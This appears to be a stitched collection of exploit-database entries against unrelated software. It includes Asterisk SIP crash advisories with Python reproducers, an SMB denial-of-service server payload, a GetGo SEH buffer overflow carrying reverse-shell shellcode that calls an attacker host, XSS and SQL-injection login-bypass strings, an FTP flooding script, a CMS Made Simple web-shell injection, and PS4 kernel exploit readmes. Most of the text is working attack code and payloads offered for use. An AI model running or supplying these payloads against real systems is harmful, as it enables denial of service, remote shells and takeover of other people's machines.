Via: SIP/2.0/TCP 172.17.0.1:10394;branch=z9hG4bK1627b84b-b57d-4256-a748-30d01d242199
Contact: <sip:3000@172.17.0.1>
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(REPEAT ACCEPT FOR 50 TIMES)
Event: message-summary
Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL, BYE, REFER, INFO, OPTIONS, MESSAGE
Authorization: Digest username="3000",realm="asterisk",nonce="1517181436/80170188d05f4af45b8530366c8e7e5e",uri="sip:127.0.0.1:5060",response="a4a88b777731349899227dc3170efdcf",algorithm=md5
Content-Length: 0
```

Notes: 

- authentication may be required

The following script was used to reproduce the issue:
'''

python
#!/usr/bin/env python
import socket
import ssl
import re
import md5
import uuid

PROTO = "udp"
SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
USERNAME = "3000"
PASSWORD = "3000"
SUBSCRIBE_USERNAME = "3000"

# default to SIP TCP
socktype = socket.SOCK_STREAM
if PROTO == "udp":
    socktype = socket.SOCK_DGRAM
sock = socket.socket(socket.AF_INET, socktype)
if PROTO == "tls":
    sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1)

sock.connect((SERVER_IP, SERVER_PORT))


callid = str(uuid.uuid4())
msg = "SUBSCRIBE sip:%s@%s:%i SIP/2.0\r\n" \
    "To: <sip:%s@%s:%i>\r\n" \
    "From: Test <sip:%s@%s:%s>\r\n" \
    "Call-ID: %s\r\n" \
    "CSeq: 2 SUBSCRIBE\r\n" \
    "Via: SIP/2.0/TCP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
    "Contact: <sip:%s@172.17.0.1>\r\n" \
    "Accept: application/simple-message-summary\r\n" \
    "Event: message-summary\r\n" \
    "Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL, BYE, REFER, INFO, OPTIONS, MESSAGE\r\n" \
    "{{AUTH}}" \
    "Content-Length: 0\r\n" \
    "\r\n" % (
        SUBSCRIBE_USERNAME, SERVER_IP, SERVER_PORT,
        SUBSCRIBE_USERNAME, SERVER_IP, SERVER_PORT,
        USERNAME, SERVER_IP, SERVER_PORT,
        callid, callid,
        USERNAME)

sock.sendall(msg.replace("{{AUTH}}", ""))

data = sock.recv(10240)

if data.startswith("SIP/2.0 401"):
    for line in data.split('\r\n'):
        if line.startswith("WWW-Authenticate"):
            content = line.split(':', 2)[1].strip()
            realm = re.search("realm=\"([a-z]+)\"", content).group(1)
            nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
            ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
            uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
            ha2 = md5.new("SUBSCRIBE:" + uri).hexdigest()
            r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

            auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                "realm=\"%s\"," % (realm) + \
                "nonce=\"%s\"," % (nonce) + \
                "uri=\"%s\"," % (uri) + \
                "response=\"%s\"," % (r) + \
                "algorithm=md5\r\n"
            print(auth)
    newmsg = ""
    for line in msg.split('\r\n'):
        if line.startswith('Accept'):
            for _ in range(64):
                newmsg += 'Accept: ' + 'A' * 8 + '\r\n'
        else:
            newmsg += line + '\r\n'

    newmsg = newmsg.replace("{{AUTH}}", auth)
    print(newmsg)
    sock.sendall(newmsg)

'''
GDB Output:

```
2872		if (expires_header) {
(gdb) bt
#0  0x00007ffff1618000 in pubsub_on_rx_subscribe_request (rdata=rdata@entry=0x7fffe00132f8) at res_pjsip_pubsub.c:2872
#1  0x00007ffff1618938 in pubsub_on_rx_request (rdata=0x7fffe00132f8) at res_pjsip_pubsub.c:3559
#2  0x00007ffff7864e97 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=0x4141414141414141, p=<optimized out>, 
    p_handled=0x7ffff0480d44) at ../src/pjsip/sip_endpoint.c:893
#3  0x00007ffff11ca200 in strcpy (__src=0x7fffe00132f8 "\300.", __dest=0x0) at /usr/include/x86_64-linux-gnu/bits/string3.h:110
#4  record_serializer (tdata=0x7fffe00095f0) at res_pjsip/pjsip_distributor.c:92
#5  0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x769a652ff4df0300, tps@entry=0xff0348) at taskprocessor.c:963
#6  0x0000000000603960 in execute_tasks (data=0xff0348) at threadpool.c:1322
#7  0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x958d58) at taskprocessor.c:963
#8  0x0000000000603e40 in threadpool_execute (pool=0x957f98) at threadpool.c:351
#9  worker_active (worker=0x7fffa0000fa8) at threadpool.c:1105
#10 worker_start (arg=0x7fffa0000fa8) at threadpool.c:1024
#11 0x000000000060ed00 in __ast_malloc (file=0x6753b0 "uri.c", func=<optimized out>, lineno=307, len=<optimized out>)
    at /usr/local/src/asterisk-15.2.0/include/asterisk/utils.h:535
#12 ast_uri_make_host_with_port (uri=<optimized out>) at uri.c:307
#13 0x00007fffa0000c20 in ?? ()
#14 0x76f0f5cbfb310371 in ?? ()
#15 0x890f159a3c370371 in ?? ()
#16 0x00007fff00000000 in ?? ()
#17 0x00007ffff0480ef0 in ?? ()
#18 0x4141414141414141 in ?? ()
#19 0x00007ffff5241100 in arena_thread_freeres () at arena.c:927
#20 0x769a652ff4df0300 in ?? ()
#21 0x0000000000000000 in ?? ()
```

By increasing the amount of `Accept` headers in the python script, we see stack smashing actually occurring. Although this may not work on UDP due to packet limitations, it has been verified to work on TLS/TCP. The above script would need to be slightly modified to create 64 `Accept` headers each with a value of 100 bytes, as follows:

```python
            for _ in range(64):
                newmsg += 'Accept: ' + 'A' * 100 + '\r\n'
```

GDB Output:

```
*** stack smashing detected ***: /opt/asterisk/sbin/asterisk terminated

Thread 25 "asterisk" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff0481700 (LWP 129)]
0x00007ffff5101428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff5101428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff510302a in __GI_abort () at abort.c:89
#2  0x00007ffff51437ea in __libc_message (do_abort=do_abort@entry=1, fmt=fmt@entry=0x7ffff525b49f "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff51e515c in __GI___fortify_fail (msg=<optimized out>, msg@entry=0x7ffff525b481 "stack smashing detected") at fortify_fail.c:37
#4  0x00007ffff51e5100 in __stack_chk_fail () at stack_chk_fail.c:28
#5  0x00007ffff1613be2 in subscription_get_generator_from_rdata (handler=<optimized out>, handler=<optimized out>, rdata=<optimized out>) at res_pjsip_pubsub.c:755
#6  0x4141414141414141 in ?? ()
#7  0x4141414141414141 in ?? ()
#8  0x4141414141414141 in ?? ()
#9  0x4141414141414141 in ?? ()
#10 0x4141414141414141 in ?? ()
#11 0x4141414141414141 in ?? ()
#12 0x0041414141414141 in ?? ()
#13 0x4141414141414141 in ?? ()
#14 0x4141414141414141 in ?? ()
#15 0x4141414141414141 in ?? ()
#16 0x4141414141414141 in ?? ()
#17 0x4141414141414141 in ?? ()
#18 0x4141414141414141 in ?? ()
#19 0x4141414141414141 in ?? ()
#20 0x0041414141414141 in ?? ()
#21 0x4141414141414141 in ?? ()
#22 0x4141414141414141 in ?? ()
#23 0x4141414141414141 in ?? ()
#24 0x4141414141414141 in ?? ()
#25 0x4141414141414141 in ?? ()
#26 0x4141414141414141 in ?? ()
#27 0x4141414141414141 in ?? ()
#28 0x0041414141414141 in ?? ()
#29 0x4141414141414141 in ?? ()
#30 0x4141414141414141 in ?? ()
#31 0x4141414141414141 in ?? ()
```

This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.

## Solutions and recommendations

Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the
time of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There are no
warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
'''
            
'''
# Segmentation fault occurs in asterisk with an invalid SDP fmtp attribute

- Authors:
    - Alfred Farrugia <alfred@enablesecurity.com>
    - Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- References: AST-2018-003
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-02-asterisk-pjsip-sdp-invalid-fmtp-segfault/>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-003.html>
- Timeline:
    - Issue reported to vendor: 2018-01-15
    - Vendor patch made available to us: 2018-02-05
    - Vendor advisory published: 2018-02-21
    - Enable Security advisory: 2018-02-22


## Description

A specially crafted SDP message body with an invalid fmtp attribute causes a
segmentation fault in asterisk using `chan_pjsip`.


## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.


## How to reproduce the issue

The following SIP message was used to reproduce the issue:

```
INVITE sip:5678@127.0.0.1:5060 SIP/2.0
To: <sip:5678@127.0.0.1:5060>
From: Test <sip:5678@127.0.0.1:5060>
Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a
CSeq: 2 INVITE
Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bKadc9caea-2d0a-40af-9de5-1dd21387e03a
Contact: <sip:5678@172.17.0.1>
Content-Type: application/sdp
Content-Length: 228

v=0
o=- 1061502179 1061502179 IN IP4 172.17.0.1
s=Asterisk
c=IN IP4 172.17.0.1
t=0 0
m=audio 17000 RTP/AVP 9 0 101
a=rtpmap:8 alaw/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp\x00:101 0-16
a=sendrecv
```

Notes: 

- `\x00` should be replaced by the null character
- authentication may be required 
- the destination SIP address should match a valid extension in the dialplan.

To facilitate this process we wrote the following python program to reproduce this issue:
'''

python
import socket
import re
import md5
import uuid

SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
UDP_IP = "0.0.0.0"
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"
INVITE_USERNAME = "5678"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

callid = str(uuid.uuid4())

sdpbody = "v=0\r\no=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \
    "s=Asterisk\r\n" \
    "c=IN IP4 172.17.0.1\r\n" \
    "t=0 0\r\n" \
    "m=audio 17000 RTP/AVP 9 0 101\r\n" \
    "a=rtpmap:8 alaw/8000\r\n" \
    "a=rtpmap:0 PCMU/8000\r\n" \
    "a=rtpmap:101 telephone-event/8000\r\n" \
    "a=fmtp\x00:101 0-16\r\n"\
    "a=sendrecv"

msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \
    "To: <sip:%s@%s:%i>\r\n" \
    "From: Test <sip:%s@%s:%s>\r\n" \
    "Call-ID: %s\r\n" \
    "CSeq: 2 INVITE\r\n" \
    "Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
    "Contact: <sip:%s@172.17.0.1>\r\n" \
    "Content-Type: application/sdp\r\n" \
    "{{AUTH}}" \
    "Content-Length: %i\r\n" \
    "\r\n" % (
        INVITE_USERNAME, SERVER_IP, SERVER_PORT,
        INVITE_USERNAME, SERVER_IP, SERVER_PORT,
        USERNAME, SERVER_IP, SERVER_PORT,
        callid, callid,
        USERNAME, len(sdpbody)
        ) + \
    sdpbody

sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))

data, addr = sock.recvfrom(10240)

if data.startswith("SIP/2.0 401"):
    for line in data.split('\r\n'):
        if line.startswith("WWW-Authenticate"):
            content = line.split(':', 2)[1].strip()
            realm = re.search("realm=\"([a-z]+)\"", content).group(1)
            nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
            ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
            uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
            ha2 = md5.new("INVITE:" + uri).hexdigest()
            r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

            auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                "realm=\"%s\"," % (realm) + \
                "nonce=\"%s\"," % (nonce) + \
                "uri=\"%s\"," % (uri) + \
                "response=\"%s\"," % (r) + \
                "algorithm=md5\r\n"

sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))

'''
This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.

### GDB backtrace result

```
Thread 197 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff65e57700 (LWP 10595)]
pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
350	    while (pj_isdigit(*p) && p!=end)
(gdb) bt
#0  pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
#1  0x00007fff6bf49070 in get_codecs (session_media=0x7fff74799540, codecs=0x7fff65e56450, stream=0x7fff97f99de0, session=0x7fff74581688) at res_pjsip_sdp_rtp.c:276
#2  set_caps (session=session@entry=0x7fff74581688, session_media=session_media@entry=0x7fff74799540, session_media_transport=0x7fff74799540, stream=stream@entry=0x7fff97f99de0, is_offer=is_offer@entry=1, asterisk_stream=asterisk_stream@entry=0x7fff747a03b0)
    at res_pjsip_sdp_rtp.c:352
#3  0x00007fff6bf4b2d7 in negotiate_incoming_sdp_stream (session=0x7fff74581688, session_media=0x7fff74799540, sdp=<optimized out>, index=<optimized out>, asterisk_stream=0x7fff747a03b0) at res_pjsip_sdp_rtp.c:1185
#4  0x00007ffff1a16bb9 in handle_incoming_sdp (session=session@entry=0x7fff74581688, sdp=0x7fff97f99870) at res_pjsip_session.c:671
#5  0x00007ffff1a1a721 in new_invite (invite=<synthetic pointer>) at res_pjsip_session.c:2871
#6  handle_new_invite_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:2966
#7  session_on_rx_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:3030
#8  0x00007ffff7868df7 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=rdata@entry=0x7fff573f88d8, p=p@entry=0x7ffff1a0ace0 <param>, p_handled=p_handled@entry=0x7fff65e56d44) at ../src/pjsip/sip_endpoint.c:887
#9  0x00007ffff17e009f in distribute (data=0x7fff573f88d8) at res_pjsip/pjsip_distributor.c:903
#10 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dc33a8) at taskprocessor.c:963
#11 0x0000000000602610 in execute_tasks (data=0x1dc33a8) at threadpool.c:1322
#12 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a39488) at taskprocessor.c:963
#13 0x0000000000602af0 in threadpool_execute (pool=0x1a37ca8) at threadpool.c:351
#14 worker_active (worker=0x7fff9457ccd8) at threadpool.c:1105
#15 worker_start (arg=arg@entry=0x7fff9457ccd8) at threadpool.c:1024
#16 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257
#17 0x00007ffff5e3d6ba in start_thread (arg=0x7fff65e57700) at pthread_create.c:333
#18 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)

```


## Solutions and recommendations

Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
'''
            
# Exploit Title: MyBB My Arcade Plugin v1.3 - Persistent XSS
# Date: 2/21/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=411
# Version: 1.3
# Tested on: Ubuntu 17.10


1. Description:
The My Arcade plugin adds a page of arcade games and keeps track of user scores, also allowing users to add a comment next to their score. The comment box is vulnerable to a persistent XSS.
 

2. Proof of Concept:

Persistent XSS
- Play an arcade game
- Add the following comment to your score <p """><SCRIPT>alert("XSS")</SCRIPT>">
- Edit the comment, Boom.


3. Solution:
Update to 1.3.1
Patch: https://github.com/PaulBender/My-Arcade/commit/4ee2a2e8d245defb94930c2c377e78ddfb0fcc94
            
# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833

import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()
            
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: GetGo Download Manager 5.3.0.2712 - Remote Buffer Overflow (SEH)
# Date: 02-24-2018
# Vulnerable Software: GetGo Download Manager 5.3.0.2712
# Vendor Homepage: http://www.getgosoft.com/
# Version: 5.3.0.2712
# Software Link: https://www.exploit-db.com/apps/b26d82eadef93531f8beafac6105ef13-GetGoDMSetup.exe
# Tested On: Windows XP SP3
#
#
# PoC: 
# 1. setup listener 443 on attacking machine
# 2. run script on attacking machine
# 3. open app on victim machine
# 4. go to download
# 5. select new, add http://attackerip to URL, index.html to File Name, and select OK
# 6. check listener, remote shell
#

import sys
import socket
import os
import time

host = "192.168.0.149"
port = 80
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] listening on %d ..." % port

bz, addr = s.accept()
print "[+] connection accepted from %s" % addr[0]

junk = "A"*20

#jump 6 
nseh = "\xeb\x06\x90\x90"

#0x72d11f39 : pop edi # pop esi # ret 0x04 |  {PAGE_EXECUTE_READ} [msacm32.drv]
seh = "\x39\x1f\xd1\x72"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.149 LPORT=443 -b "\x00" -f c
#Payload size: 351 bytes
reverse = (
"\xba\x8f\xf6\x0e\x24\xd9\xf7\xd9\x74\x24\xf4\x58\x33\xc9\xb1"
"\x52\x31\x50\x12\x83\xc0\x04\x03\xdf\xf8\xec\xd1\x23\xec\x73"
"\x19\xdb\xed\x13\x93\x3e\xdc\x13\xc7\x4b\x4f\xa4\x83\x19\x7c"
"\x4f\xc1\x89\xf7\x3d\xce\xbe\xb0\x88\x28\xf1\x41\xa0\x09\x90"
"\xc1\xbb\x5d\x72\xfb\x73\x90\x73\x3c\x69\x59\x21\x95\xe5\xcc"
"\xd5\x92\xb0\xcc\x5e\xe8\x55\x55\x83\xb9\x54\x74\x12\xb1\x0e"
"\x56\x95\x16\x3b\xdf\x8d\x7b\x06\xa9\x26\x4f\xfc\x28\xee\x81"
"\xfd\x87\xcf\x2d\x0c\xd9\x08\x89\xef\xac\x60\xe9\x92\xb6\xb7"
"\x93\x48\x32\x23\x33\x1a\xe4\x8f\xc5\xcf\x73\x44\xc9\xa4\xf0"
"\x02\xce\x3b\xd4\x39\xea\xb0\xdb\xed\x7a\x82\xff\x29\x26\x50"
"\x61\x68\x82\x37\x9e\x6a\x6d\xe7\x3a\xe1\x80\xfc\x36\xa8\xcc"
"\x31\x7b\x52\x0d\x5e\x0c\x21\x3f\xc1\xa6\xad\x73\x8a\x60\x2a"
"\x73\xa1\xd5\xa4\x8a\x4a\x26\xed\x48\x1e\x76\x85\x79\x1f\x1d"
"\x55\x85\xca\xb2\x05\x29\xa5\x72\xf5\x89\x15\x1b\x1f\x06\x49"
"\x3b\x20\xcc\xe2\xd6\xdb\x87\xcc\x8f\xe3\xc2\xa5\xcd\xe3\xed"
"\x8e\x5b\x05\x87\xe0\x0d\x9e\x30\x98\x17\x54\xa0\x65\x82\x11"
"\xe2\xee\x21\xe6\xad\x06\x4f\xf4\x5a\xe7\x1a\xa6\xcd\xf8\xb0"
"\xce\x92\x6b\x5f\x0e\xdc\x97\xc8\x59\x89\x66\x01\x0f\x27\xd0"
"\xbb\x2d\xba\x84\x84\xf5\x61\x75\x0a\xf4\xe4\xc1\x28\xe6\x30"
"\xc9\x74\x52\xed\x9c\x22\x0c\x4b\x77\x85\xe6\x05\x24\x4f\x6e"
"\xd3\x06\x50\xe8\xdc\x42\x26\x14\x6c\x3b\x7f\x2b\x41\xab\x77"
"\x54\xbf\x4b\x77\x8f\x7b\x7b\x32\x8d\x2a\x14\x9b\x44\x6f\x79"
"\x1c\xb3\xac\x84\x9f\x31\x4d\x73\xbf\x30\x48\x3f\x07\xa9\x20"
"\x50\xe2\xcd\x97\x51\x27")

fill = "D"*(4055 - len(reverse))

payload = junk + nseh + seh + reverse + fill

buffer = payload + "\r"
buffer+= payload + "\r"
buffer+= payload + "\r\n"

print bz.recv(1000)
bz.send(buffer)
print "[+] sending buffer ok\n"

time.sleep(3)
bz.close()
s.close()
            
# Exploit Title: SQL Injection exists in PHP Scripts Mall School Management Script 3.0.4.
# Date: 26/02/2018
# Exploit Author: Samiran Santra
# Vendor Homepage: https://www.phpscriptsmall.com
# Software Link: https://www.phpscriptsmall.com/product/school-management-system
# Version: v3.0.4
#Tested on: Windows 
# Website: https://indiancybersecuritysolutions.com/
# CVE: CVE-2018-7477
# Category: webapps


Proof of Concept


1.First go to this link- http://localhost/PATH/parents/Parent_module/parent_login.php

2.In Username and Password filed just type sql-injection cheat-code (x'or'x'='x)

3.Now you can successfully login as a admin user
            
#Exploit Title : netek 0.8.2 FTP Denial of Service 
#Test on : windowsXPs3 + windows 7
#software Link :https://sourceforge.net/projects/netek.berlios/
#version : 0.8.2
#author : Lawrence Amer
#site : lawrenceamer.me
#affected product uses default port 30817 , it can be chnaged also 
#!/bin/python
import socket

 
ip = raw_input("[+] IP to attack: ")
 
sarr = []
i = 0
while True:
    try:
        sarr.append(socket.create_connection((ip,30817)))
        print "[+] Connection %d" % i
        crash1 = "\x41"*5000 +"\X42"*1000
        sarr[i].send(crash1+'\r\n')
        i+=1
    except socket.error:
        print "[*] Server crashed with CPU 100!!"
        raw_input()
        break
            
# Exploit Title: CMS Made Simple 2.1.6 - Remote Code Execution
# Date: 2018-02-26
# Exploit Author: Keerati T.
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://s3.amazonaws.com/cmsms/downloads/13570/cmsms-2.
1.6-install.zip
# Version: 2.1.6
# CVE: CVE-2018-7448
# Tested on: Linux

1.Description
Arbitrary PHP code can be injected into configuration file (config.php) after installation has been finished. In order to inject PHP code, fresh install and valid database credentials is required. Application will force an installer (usually "www-data" due to web-based installation) to set a write permission (777) to destination directory and related installation file. An attacker will proceed installation process until reach step 4 and inject malicious PHP code into "timezone" parameter. Once PHP code has been injected to "config.php", an attacker will be able to execute OS command by accessing backdoor "config.php" file along with injected parameter which contain OS command value.

2.Proof of Concept
- Access to "http://target/path/cmsms-2.1.6-install.php" for installing CMS Made Simple
- Proceed to step 4 of installation which is database setup stage, enter a valid database credentials and modifying "timezone" parameter on intercepted proxy as following:

==========
POST /cms/cmsms-2.1.6-install.php/index.php?mdf68c24c=4 HTTP/1.1
Host: 192.168.5.196
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.196/cms/cmsms-2.1.6-install.php/index.
php?mdf68c24c=4
Cookie: CMSICc861538bbb=i549m59qpme0u9klupbkb68me4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

dbhost=localhost&dbname=cms&dbuser=xvwa&dbpass=xvwa&
timezone=junk';echo%20system($_GET['cmd']);$junk='junk&next=Next+%E2%86%92
==========

- Forward tampered "timezone" parameter packet and proceed to next step until successfully installation.
- Execute OS command via "config.php" by requesting " http://target/path/config.php?cmd=id;uname"

3.Timeline
2017-04-14 Vulnerability report
2017-04-15 Vendor inform that will be fixed on next full release
2017-06-10 Version 2.2 release and vulnerability fixed
2018-02-23 CVE assigned
2018-02-26 Public
            
# PS4 4.55 Kernel Exploit
---
## Summary
In this project you will find a full implementation of the "bpf" kernel exploit for the PlayStation 4 on 4.55. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, *does not* contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port `9020` and will execute them upon receival.

This bug was discovered by qwertyoruiopz, and can be found hosted on his website [here](http://crack.bargains/455/).

## Patches Included
The following patches are made by default in the kernel ROP chain:
1) Disable kernel write protection
2) Allow RWX (read-write-execute) memory mapping
3) Syscall instruction allowed anywhere
4) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process
4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode
5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation.

## Notes
- Payloads from 4.05 should be fairly trivial to port unless they use hardcoded kernel offsets
- I've built in a patch so the kernel exploit will only run once on the system, you can make additional patches via payloads.
- A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel.


## Contributors
Massive credits to the following:

- [qwertyoruiopz](https://twitter.com/qwertyoruiopz)
- [Flatz](https://twitter.com/flat_z)
- Anonymous

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44196-v2.zip
            
PS4 3.55 Unsigned Code Execution
==============
This GitHub Repository contains all the necessary tools for getting PoC Unsigned Code Execution on a Sony PS4 System with firmwares 3.15, 3.50 and 3.55. <br />
This Exploit, is based-off [Henkaku's](https://henkaku.xyz/) WebKit Vulnerability for the Sony's PSVita. <br />
It includes basic ROP and is able to return to normal execution. <br />

Pre-Requisites:
==============
1. A PC
  1. Running Windows, macOS or Linux
  2. A already set up basic server where the PS4 User's Guide launcher will point for loading the payload
  3. [Python](https://www.python.org/downloads/) 2.7.X
    * Python 3.X gives problems, since they included major changes on the syntax and on the libraries in comparison with 2.7
2. A Sony PlayStation 4
  1. Running the following firmwares:
    * 3.15, 3.50 or 3.55
3. Internet Connection (PS4 and PC directly wired to the Router is the mostly preferred option)

Usage:
==============
There are two different methods to execute the Exploit, but first let's clarify how we will know which one to use. <br />
If your PlayStation 4 has got an already set-up PlayStation Network Account on it, you should use method 1. <br />
Else, if your PlayStation 4 -NEVER- had a PlayStation Network Account on it, you should use method 2. <br />
Probably you will ask why, it's pretty much easy to explain and understand: <br />
When you buy a PS4, comes unactivated, meaning that nobody has entered SEN Account on it. (Method 2) <br />
Once you use a SEN Account on it, the PS4 becomes an activated console. (Method 1) <br />
This doesn't affect the actual payload, but you should take in mind which method use. <br />

Method 1:
==============
Run this command on the folder you've downloaded this repo: <br />
`python server.py` <br />
All the debug options will be outputted during the Exploit process. <br />
Navigate to your PS4's Web Browser and simply type on the adress bar, your PC's IP Adress. <br />
Wait until the exploit finishes, once it does, PS4 will return to it's normal state. <br />
An example of what will look like found [HERE](https://gist.github.com/Fire30/2e0ea2d73d3a1f6f95d80aea77b75df8). <br />

Method 2:
==============
A dns.conf file which is present on the source, needs to be edited accordingly your local PC's IP Adress. <br />
PlayStation 4's DNS Settings must be changed in order to point the PC's IP Adress where the Exploit is located. <br />
Once you've edited the dns.conf file, simply run the next command on the folder where you downloaded this repo: <br />
`python fakedns.py -c dns.conf` <br />
And then: <br />
`python server.py` <br />
All the debug options will be outputted during the Exploit process. <br />
Once Python part is done, get into your PlayStation 4, navigate to the User's Guide page and wait until exploit finishes out. <br />
An example of what will look like found [HERE](https://gist.github.com/Fire30/2e0ea2d73d3a1f6f95d80aea77b75df8). <br />

Miscellaneous:
==============
If you want to try the socket test, change the IP Address located at the bottom of the ps4sploit.html file with your computer's one and run this command: <br />
`netcat -l 0.0.0.0 8989 -v`  <br />
